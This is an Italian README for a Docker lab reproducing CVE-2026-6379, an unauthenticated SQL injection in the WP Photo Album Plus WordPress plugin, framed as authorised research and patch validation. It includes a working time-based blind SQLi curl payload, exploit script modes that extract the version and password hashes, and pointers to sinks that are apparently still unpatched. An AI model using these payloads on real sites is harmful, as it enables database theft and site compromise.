
# Kit di laboratorio basato su Docker per CVE-2026-6379, una SQL injection non autenticata in WP Photo Album Plus. Include PoC blind basato sul tempo, analisi della causa principale e validazione della patch per ricerca sulla sicurezza autorizzata.
Parametro: wppa-supersearch
Severità: CVSS 8.6 (alta) secondo WPScan/Wordfence
Fix del vendor: 2026-04-17 (commit d2b0d05d nel mirror WordPressBugBounty)
Divulgazione pubblica: 2026-04-27 (WPScan)
Questo kit ti offre un lab Docker autonomo e un PoC funzionante così puoi riprodurre, validare e insegnare il bug end-to-end.
# Sul host del lab:
cd lab && ./setup.sh
# Quando l'installer stampa "=== LAB READY ===" con un page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Un target vulnerabile risponde in ~5s alla probe SLEEP; un target patchato risponde in .
<1sControllo manuale one-liner:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # questo file
├── docs/
│ ├── writeup.md # analisi root-cause + patch
│ └── prompts.md # prompt di ricerca AI che hanno distillato questo kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # avvio / teardown / purge
│ └── init/install.sh # installer idempotente (wp-cli)
└── pocs/
├── exploit.py # SQLi blind basata sul tempo (probe / version / user / hash)
└── test_oracle.sh # test di integrazione end-to-end
wppa_get_photos() analizza il parametro di richiesta wppa-supersearch come
CSV s1,type,s3,DATA. Quando type='o' (Owner), DATA viene concatenato
direttamente in una stringa SQL:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Nessun quoting, nessun $wpdb->prepare. Impostando wppa-supersearch=,o,,x' OR (...)-- -
si esce dal quoting dell'owner e si esegue SQL arbitrario. L'endpoint è la
pagina front-end pubblica che ospita lo shortcode [wppa], quindi non è
richiesta alcuna autenticazione.
Il fix avvolge ogni caso precedentemente concatenato in $wpdb->prepare(..., %s).
d2b0d05d)La patch di CVE-2026-6379 riscrive sei sink SQL distinti all'interno di
wppa_get_photos() in wppa-functions.php. Entrambe le modalità PoC (probe e
probe-calendar) colpiscono sink indipendenti; gli altri differiscono solo nella
forma del payload. Tutti sono non autenticati e raggiungibili tramite lo stesso
gating wppa-occur=N del sink primario.
| # | Sink (riga vulnerabile) | Parametri trigger | Modalità PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (riga 1244) | wppa-supersearch=,o,,… | --mode probe (validato live) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (riga 1237) | wppa-supersearch=,n,,… | non sfruttato (il filtro slug rimuove i quoting) |
| 3 | tag — WHERE tags LIKE '%$d%' (riga 1254) | wppa-supersearch=,g,,… | vincolato da wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (riga 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (validato live) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (riga 1368) | wppa-calendar=timestamp&wppa-caldate=… | coercizione numerica (intval) — limitata |
| 6 | calendar modified — come timestamp (riga 1375) | wppa-calendar=modified&wppa-caldate=… | coercizione numerica — limitata |
Le righe #4–#6 hanno anche rimosso un frammento ORDER BY $order pendente nello
stesso commit — vedi "Indurimento correlato" sotto.
Un audit più ampio di wppa-functions.php contro la stessa build vulnerabile
ha portato alla luce sink esterni alla patch di CVE-2026-6379. Non sono ciò
che WPScan/Wordfence ha pubblicato, e non tutti sono ugualmente sfruttabili, ma
sono documentati qui così il lab è utile anche per la caccia a varianti.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — probabile vulnerabilità separataStato: presente in 9.1.11.001 (post-patch). Non affrontata da d2b0d05d.
Candidata per un CVE successivo.
%s non è valido per una lista IN separata da virgole (emette sempre una singola
stringa con quoting). Il plugin aggira il problema avvolgendo lo statement preparato
in stripslashes(), che rimuove proprio l'escaping che prepare() ha appena
aggiunto — riaprendo l'iniezione se qualsiasi elemento della lista è contaminato
da un attaccante.
Occorrenze rappresentative: wppa-functions.php righe 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Query di caccia per l'analisi delle varianti:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — parzialmente affrontatoLa patch ha rimosso ORDER BY $order dai sink calendar/clausola IN ma lo ha
lasciato in altri. $order è impostato dallo stato runtime del plugin (tabella
delle impostazioni) — lo sfruttamento richiede un percorso di scrittura in quello
stato. Trattalo come indurimento.
wp_strip_all_tags() usato come sanitizzatore SQL (variante di #4)wp_strip_all_tags rimuove HTML, non SQL. Ovunque appaia attorno a un frammento
SQL con quoting, quel frammento è iniettabile. Oltre a caldate, audita qualsiasi
altro valore di richiesta che passa attraverso questa funzione prima della
concatenazione.
| Stato | probe | probe-calendar |
|---|---|---|
| Vulnerabile (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Patchato (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Plugin disabilitato | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Pagina senza shortcode [wppa] | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Cambia versione su un lab in esecuzione:
# Patchato:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Rilancia la probe; dovrebbe essere negativa.
admin / adminadmin — non esporle mai su internet../setup.sh purge (elimina il volume del database).wppa-functions.php (vulnerabile): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (patchato): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php